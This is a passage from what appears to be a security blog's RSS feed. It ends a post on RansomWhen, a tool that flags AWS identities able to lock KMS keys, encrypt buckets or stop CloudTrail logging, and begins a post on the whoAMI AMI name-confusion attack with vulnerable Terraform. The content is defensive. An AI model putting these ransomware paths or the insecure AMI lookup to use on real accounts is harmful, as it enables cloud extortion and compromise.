 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:ListAttachedGroupPolicies&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;cloudtrail:LookupEvents&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:GetPolicyVersion&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 17px;"&gt;&lt;span style="font-size: 18px;"&gt;iam:GetPolicy&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Mar-10-2025-10-37-05-9358-AM.png?width=3058&amp;amp;height=588&amp;amp;name=image-png-Mar-10-2025-10-37-05-9358-AM.png" width="3058" height="588"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Identity Enumeration&amp;nbsp; &lt;/span&gt;&lt;span style="font-family: Georgia, Palatino, Times, 'Times New Roman', serif; font-size: 36px; font-weight: bold;"&gt;&#x1f575;️&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;Let’s start by running&amp;nbsp; &lt;code&gt;&lt;span style="font-size: 18px;"&gt;python3 ransomwhen.py ID&lt;/span&gt;ENTITIES&lt;/code&gt;&amp;nbsp; to enumerate the identities within the compromised account. This expects a&amp;nbsp; &lt;code&gt;&lt;span style="font-size: 18px;"&gt;-p&lt;/span&gt;&lt;/code&gt;&amp;nbsp; or&amp;nbsp; &lt;code&gt;&lt;span style="font-size: 18px;"&gt;--profile&lt;/span&gt;&lt;/code&gt;&amp;nbsp; parameter for the AWS profile to use.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="text-align: left; font-size: 16px; line-height: 1.5; font-weight: normal;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;span style="font-size: 18px; color: #7303c0;"&gt;# This command identifies the AWS principals with exploitable permissions&lt;/span&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; python3 ransomwhen.py IDENTITIES --profile RansomWhen&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Feb-26-2025-11-23-57-2895-AM.png?width=2048&amp;amp;height=1117&amp;amp;name=image-png-Feb-26-2025-11-23-57-2895-AM.png" width="2048" height="1117"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Feb-26-2025-11-24-08-8163-AM.png?width=2048&amp;amp;height=1248&amp;amp;name=image-png-Feb-26-2025-11-24-08-8163-AM.png" width="2048" height="1248"&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;RansomWhen identified what seems to be excessive permissions for a test IAM User ( &lt;span style="font-weight: normal; font-size: 20px;"&gt;&lt;code&gt;&lt;span&gt;Test-prod&lt;/span&gt;&lt;/code&gt;&lt;/span&gt; ) within the compromised account and presented various possible attack scenarios that an attacker could leverage to execute a ransomware attack.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;&lt;br&gt;RansomWhen reports if AWS principals are able to perform any of the following actions that ransomware actors may perform to help them achieve their objectives.&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Attach Custom KMS Key Store&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create Locked Key and Encrypt Bucket using CopyObject&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create Locked Key and Encrypt Bucket using Get/Put Object&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create Role, Add Inline Policy and Delete&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create Role, Attach Inline Policy and Delete&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create User, Add Inline Policy and Delete&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Create User, Attach Inline Policy and Delete&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Delete CloudTrail Trail&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Stop Logging&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Stop Logging using KMS&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Update Current Custom KMS Key Store&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Update Key Policy to Lock Key and Encrypt Bucket using CopyObject&lt;/li&gt; 
 &lt;li style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Update Key Policy to Lock Key and Encrypt Bucket using Get/Put Object&lt;/li&gt; 
&lt;/ul&gt; 
&lt;h2 style="font-size: 36px; font-weight: bold; margin: .67em 0; text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/h2&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Monitor for Malicious Events in AWS CloudTrail Logs&amp;nbsp; &lt;/span&gt;&lt;span style="font-family: Georgia, Palatino, Times, 'Times New Roman', serif;"&gt;&#x1f440;&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="text-align: left; line-height: 1.5;"&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;Next, let's use &lt;span&gt;RansomWhen&lt;/span&gt; to detect potentially malicious activities. If we don't select the principal to query, the tool will attempt to list users and roles using the &lt;span style="font-size: 20px;"&gt;&lt;code&gt;iam:ListUsers&lt;/code&gt;&lt;/span&gt; and &lt;span style="font-size: 20px;"&gt;&lt;code&gt;iam:ListRoles&lt;/code&gt;&lt;/span&gt; permissions.&amp;nbsp;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5; font-size: 18px;"&gt;&lt;br&gt;&#x1f4a1; A pull request has been created from this &lt;a href="https://github.com/egre55/RansomWhen"&gt;fork&lt;/a&gt; of RansomWhen to address an issue where the same event data is returned for different AWS principals.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px; color: #7303c0;"&gt;&lt;code&gt;&lt;span style="color: #7303c0;"&gt;# This command detect suspicious activities, such as unauthorized key imports or deletions&lt;br&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;span style="font-size: 20px; color: #7303c0;"&gt;&lt;/span&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; python3 ransomwhen.py EVENTS --profile RansomWhen # all users&lt;br&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; python3 ransomwhen.py EVENTS --profile RansomWhen -i &amp;lt;user&amp;gt; # specific user&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-weight: bold; text-align: left; line-height: 1.5;"&gt;&lt;code&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Feb-26-2025-11-25-56-3907-AM.png?width=2048&amp;amp;height=1129&amp;amp;name=image-png-Feb-26-2025-11-25-56-3907-AM.png" width="2048" height="1129"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Mar-09-2025-08-30-18-3675-PM.png?width=1756&amp;amp;height=1064&amp;amp;name=image-png-Mar-09-2025-08-30-18-3675-PM.png" width="1756" height="1064"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Mar-09-2025-08-29-22-7996-PM.png?width=1602&amp;amp;height=914&amp;amp;name=image-png-Mar-09-2025-08-29-22-7996-PM.png" width="1602" height="914"&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-weight: bold; text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-weight: bold; text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-weight: normal;"&gt;The RansomWhen output reveals that the potentially compromised user &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span&gt;Test-prod&lt;/span&gt;&lt;/code&gt;&lt;/span&gt; issued a &lt;span style="font-size: 20px;"&gt;&lt;code&gt;kms:CreateKey&lt;/code&gt;&lt;/span&gt;&amp;nbsp;request &#x1f631;&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-weight: bold; text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-weight: normal;"&gt;We see an IAM policy in the RequestParameters because whenever you run &lt;code&gt;&lt;span style="font-size: 18px;"&gt;kms:CreateKey&lt;/span&gt;&lt;/code&gt;, AWS KMS attaches a key policy—either the default one or a custom policy that you provide in the request.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-weight: bold; text-align: left; line-height: 1.5;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-weight: normal;"&gt;We can continue to analyze the breach using Splunk or natively using Amazon Athena.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 2em; font-weight: bold; margin: .67em 0; text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/h2&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Preventing This Attack&amp;nbsp; &#x1f3f0;&lt;/span&gt;&lt;/h2&gt; 
&lt;h2 style="font-size: 2em; font-weight: bold; margin: .67em 0; text-align: left; line-height: 1.5;"&gt;&lt;span style="font-family: Georgia, Palatino, Times, 'Times New Roman', serif; font-weight: normal; font-size: 36px;"&gt;&lt;/span&gt;&lt;/h2&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px; text-align: left; line-height: 1.5; font-weight: normal;"&gt;"The key question is not if customers can prevent this attack, but will they proactively implement these security measures?" - Chris Farris&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;ul style="text-align: left; font-size: 18px; line-height: 1.5;"&gt; 
 &lt;li style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;Restrict IAM Permissions &amp;amp; KMS Access:&lt;/span&gt; 
  &lt;ul style="font-size: 20px;"&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal; font-size: 18px;"&gt;Remove broad KMS permissions (&amp;nbsp; &lt;span style="font-size: 20px;"&gt;&lt;code&gt;kms:*&lt;/code&gt;&lt;/span&gt;&amp;nbsp;).&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Follow the principle of least privilege, ensuring only necessary permissions are granted.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-size: 18px;"&gt;Block&lt;/span&gt; &lt;code&gt;kms:ImportKeyMaterial&lt;/code&gt; &lt;span style="font-size: 18px;"&gt;using a Service Control Policy (SCP) to prevent unauthorised key uploads.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;Monitor &amp;amp; Detect KMS Activity via CloudTrail:&lt;/span&gt; 
  &lt;ul&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Track suspicious actions like &lt;code&gt;&lt;span style="font-size: 18px;"&gt;ImportKeyMaterial&lt;/span&gt;&lt;/code&gt;, &lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;DeleteKeyMaterial&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;, and &lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;ScheduleKeyDeletion&lt;/span&gt;&lt;/code&gt;&lt;/span&gt; in CloudTrail Logs.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Set up detections based on CloudTrail eventName/eventSource pairs to flag unauthorised key modifications.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Since KMS key operations are logged, create alerts to identify potential ransomware activities.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;Enforce Strong Key Management Policies:&lt;/span&gt; 
  &lt;ul&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Restrict key usage via KMS key policies to specific IAM roles and services.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Enable multi-factor authentication (MFA) for critical key management actions.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span style="font-weight: normal;"&gt;Configure automatic expiration of imported key material to limit unauthorised key persistence.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;Detect &amp;amp; Block the Rug-Pull Operation:&lt;/span&gt; 
  &lt;ul style="font-size: 20px;"&gt; 
   &lt;li style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;code&gt;kms:DeleteImportedKeyMaterial&lt;/code&gt; &lt;span style="font-size: 18px;"&gt;is a critical event to monitor and block, as it signals an attempt to make encrypted data permanently inaccessible.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Wrap-Up and Resources&lt;/span&gt;&lt;span&gt;&amp;nbsp;&#x1f587;️&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/h2&gt; 
&lt;div&gt;
 &lt;span style="font-size: 18px;"&gt;In this blog post, we've learned about the RansomWhen tool and how it can help defenders to identify potential attack paths and vulnerabilities in their AWS environments that threat actors who gain access could leverage. We've also shown how RansomWhen can alert defenders to events that are potentially related to ransomware attacks by querying CloudTrail logs.&lt;/span&gt;
&lt;/div&gt; 
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
&lt;div&gt;
 &lt;span style="font-size: 18px;"&gt;Here are some additional resources to help you learn more about the topics discussed in this blog post:&lt;/span&gt;
&lt;/div&gt; 
&lt;div&gt;
 &lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;
&lt;/div&gt; 
&lt;ul style="text-align: left; line-height: 1.5;"&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://tldrsec.com/p/tldr-sec-256"&gt;[tl;dr sec] #256 - AI SOC Analyst, Detection Engineering, How to Ransomware in AWS&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://link.mail.beehiiv.com/ss/c/u001.-QQnKmN9995ElcpR565Sh7kJ3xP5lyDhz_td35AH_MbcoikJpxeigPqteDWga2vlrntGApBQAbDLDXEjRX7bEzyCvgowAaOSVv8hxCAMz6U85vL2XWXtGE-1T_8bkkVvViu9PqfT6Vjr9wMIN88wEt_lSukt6m9z4z7tyQJjvtfC9TZ9n1euouIPxtKzyg7YykQOcnTRWUIL3MrBttik95y8jQuhiFRHCKCGtiCKgl3-rkDlA39fcX6qZ_l49tIQCwzDFHnMkuQa2WvbLQSql04VWGNC_HlP7Nr0ynv5b2nxNZjFDVG4LEGG_aWwMI9oE_8KiHeD77Sshrg96PDlUA/4bg/8ogolD-CRc-I4_lJiZCDFA/h14/h001.DHaxcAS_vRbiWNhTAMdSd1mwgMBprRCVst07rDjj5ac"&gt;Effective Techniques for AWS Ransomware [Must Read]&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/resource-control-policies.html"&gt;Resource control policies in AWS KMS&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html"&gt;Key policies in AWS KMS&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/security-logging-monitoring.html"&gt;Logging and monitoring in AWS Key Management Service&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/importing-keys.html"&gt;Importing key material for AWS KMS keys&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://medium.com/@harsh8v/redefining-ransomware-attacks-on-aws-using-aws-kms-xks-dea668633802"&gt;Perfecting Ransomware on AWS — Using ‘keys to the kingdom’ to change the locks&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://permiso.io/blog/ransomwhen-i-did-not-even-notice-it"&gt;RansomWhen??? I Never Even Noticed It…&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px; font-weight: bold;"&gt;&lt;a href="https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/"&gt;S3 Ransomware Part 1: Attack Vector&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;h2&gt;&lt;br&gt;Bottom Line&lt;/h2&gt; 
&lt;p&gt;BYOKM ransomware attacks exploit the legitimate ability to import custom key material into AWS KMS, requiring defenders to enforce strict IAM controls, monitor CloudTrail for suspicious key operations, and proactively enumerate identities with dangerous KMS permissions using tools like RansomWhen before threat actors do.&lt;/p&gt; 
&lt;p style="text-align: left; line-height: 1.5;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/p&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fransomwhen-the-hidden-risks-of-aws-kms-in-ransomware-attacks&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>AWS</category>
      <category>Blue Team</category>
      <pubDate>Tue, 11 Mar 2025 12:29:12 GMT</pubDate>
      <author>goodness@pwnedlabs.io (Goodness Adediran)</author>
      <guid>https://blog.pwnedlabs.io/ransomwhen-the-hidden-risks-of-aws-kms-in-ransomware-attacks</guid>
      <dc:date>2025-03-11T12:29:12Z</dc:date>
    </item>
    <item>
      <title>Defending Against the whoAMI Attack with AWS Declarative Policies</title>
      <link>https://blog.pwnedlabs.io/defending-against-the-whoami-attack-with-aws-declarative-policies</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/defending-against-the-whoami-attack-with-aws-declarative-policies" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/LinkedIn%20post%20-%20%20Blog%20-%20Defending%20Against%20the%20whoAMI%20Attack%20with%20AWS%20Declarative%20Policies%20(4).png" alt="Defending Against the whoAMI Attack with AWS Declarative Policies" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;div&gt; 
 &lt;div style="font-size: 18px;"&gt; 
  &lt;span&gt;Cloud Security Researcher and Advocate, Seth Art, recently published the blog post &lt;/span&gt; 
  &lt;a href="https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/"&gt;&lt;span&gt;whoAMI: A cloud image name confusion attack&lt;/span&gt;&lt;/a&gt; 
  &lt;span&gt;. In it, Seth describes how an AWS account can become compromised by an attacker who creates an AMI with a similar name to an existing AMI. Users of AWS can be tricked into using the attacker's AMI if they forget to specify the owner of the AMI they want to use, an easy mistake to make. &lt;/span&gt; 
 &lt;/div&gt; 
 &lt;br&gt; 
 &lt;div style="font-size: 18px;"&gt; 
  &lt;span&gt;Luckily, we can craft an AWS Declarative Policy, a type of security guardrail, that can prevent this attack!&lt;/span&gt; 
 &lt;/div&gt; 
 &lt;div style="font-size: 18px;"&gt; 
  &lt;span&gt;&amp;nbsp;&lt;/span&gt; 
 &lt;/div&gt; 
 &lt;div style="font-size: 18px;"&gt; 
  &lt;span&gt;&amp;nbsp;&lt;/span&gt; 
 &lt;/div&gt; 
&lt;/div&gt;</description>
      <content:encoded>&lt;div&gt; 
 &lt;div style="font-size: 18px;"&gt;
  &lt;span&gt;Cloud Security Researcher and Advocate, Seth Art, recently published the blog post &lt;/span&gt;
  &lt;a href="https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/"&gt;&lt;span&gt;whoAMI: A cloud image name confusion attack&lt;/span&gt;&lt;/a&gt;
  &lt;span&gt;. In it, Seth describes how an AWS account can become compromised by an attacker who creates an AMI with a similar name to an existing AMI. Users of AWS can be tricked into using the attacker's AMI if they forget to specify the owner of the AMI they want to use, an easy mistake to make. &lt;/span&gt;
 &lt;/div&gt; 
 &lt;br&gt; 
 &lt;div style="font-size: 18px;"&gt;
  &lt;span&gt;Luckily, we can craft an AWS Declarative Policy, a type of security guardrail, that can prevent this attack!&lt;/span&gt;
 &lt;/div&gt; 
 &lt;div style="font-size: 18px;"&gt;
  &lt;span&gt;&amp;nbsp;&lt;/span&gt;
 &lt;/div&gt; 
 &lt;div style="font-size: 18px;"&gt;
  &lt;span&gt;&amp;nbsp;&lt;/span&gt;
 &lt;/div&gt; 
&lt;/div&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; The whoAMI attack exploits AWS AMI name confusion by creating attacker-controlled images with similar names to trusted ones; AWS Declarative Policies prevent this by restricting EC2 launches to only AMIs from authorized providers.&lt;/span&gt;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt; 
 &lt;div&gt; 
  &lt;h1 style="font-size: 32px;"&gt;&lt;span&gt;&lt;br&gt;The Attack &#x1f4a5;&lt;/span&gt;&lt;/h1&gt; 
 &lt;/div&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;div&gt; 
  &lt;div&gt;
   &lt;span&gt;I highly encourage you to read Seth's blog post to fully understand the attack, but let's set the context with one of the examples from the post. &lt;/span&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;div&gt;
   &lt;span&gt;Often, cloud engineers use Terraform, an Infrastructure-as-Code (IaC) tool, to create resources in the cloud. The Terraform code example below creates an AWS EC2 instance using the latest Ubuntu AMI.&lt;br&gt;&lt;br&gt;&lt;/span&gt;
  &lt;/div&gt; 
  &lt;div&gt;
   &lt;br&gt;
   &lt;span&gt;&lt;/span&gt;
  &lt;/div&gt; 
  &lt;div&gt; 
   &lt;div&gt;
    &lt;span style="color: #7303c0;"&gt;# Find the latest Ubuntu AMI&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;data "aws_ami" "ubuntu" {&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; most_recent = true&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;br&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; filter {&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; name = "name"&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; values = ["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"]&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;span style="color: #d63384;"&gt;&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;br&gt; 
   &lt;div&gt;
    &lt;span style="color: #7303c0;"&gt;# Create a new EC2 instance with the Ubuntu AMI&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;resource "aws_instance" "web_server" {&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; ami = data.aws_ami.ubuntu.id&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; instance_type = "t2.micro"&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
  &lt;/div&gt; 
 &lt;/div&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px; color: #d63384;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
&lt;/div&gt; 
&lt;div&gt; 
 &lt;div&gt; 
  &lt;div&gt;
   &lt;span style="font-size: 18px;"&gt;The issue here is the &lt;span style="color: #d63384;"&gt;owners&lt;/span&gt; attribute is not specified in the &lt;span style="color: #d63384;"&gt;data "aws_ami" "ubuntu"&lt;/span&gt; block. This means the &lt;span style="color: #d63384;"&gt;most_recent&lt;/span&gt;&amp;nbsp;Ubuntu AMI from &lt;strong&gt;any AWS account&lt;/strong&gt;&amp;nbsp;will be used. &lt;/span&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;div&gt;
   &lt;span style="font-size: 18px;"&gt;So, an attacker can create a more recent AMI with a similar name to &lt;span style="color: #d63384;"&gt;ubuntu-focal-20.04-amd64-server-*&lt;/span&gt; e.g., &lt;span style="color: #d63384;"&gt;ubuntu-focal-20.04-amd64-server-attacker-server-20250301&lt;/span&gt; which would cause the Terraform code to use the attacker's AMI instead of a trusted one created by &lt;span style="color: #d63384;"&gt;amazon&lt;/span&gt; or &lt;span style="color: #d63384;"&gt;canonical&lt;/span&gt;&amp;nbsp;(the owners of Ubuntu).&lt;/span&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;div&gt;
   &lt;span style="font-size: 18px;"&gt;Here's an example of how to specify the &lt;code&gt;owners&lt;/code&gt;&amp;nbsp;attribute in the Terraform code.&lt;br&gt;&lt;br&gt;&lt;/span&gt;
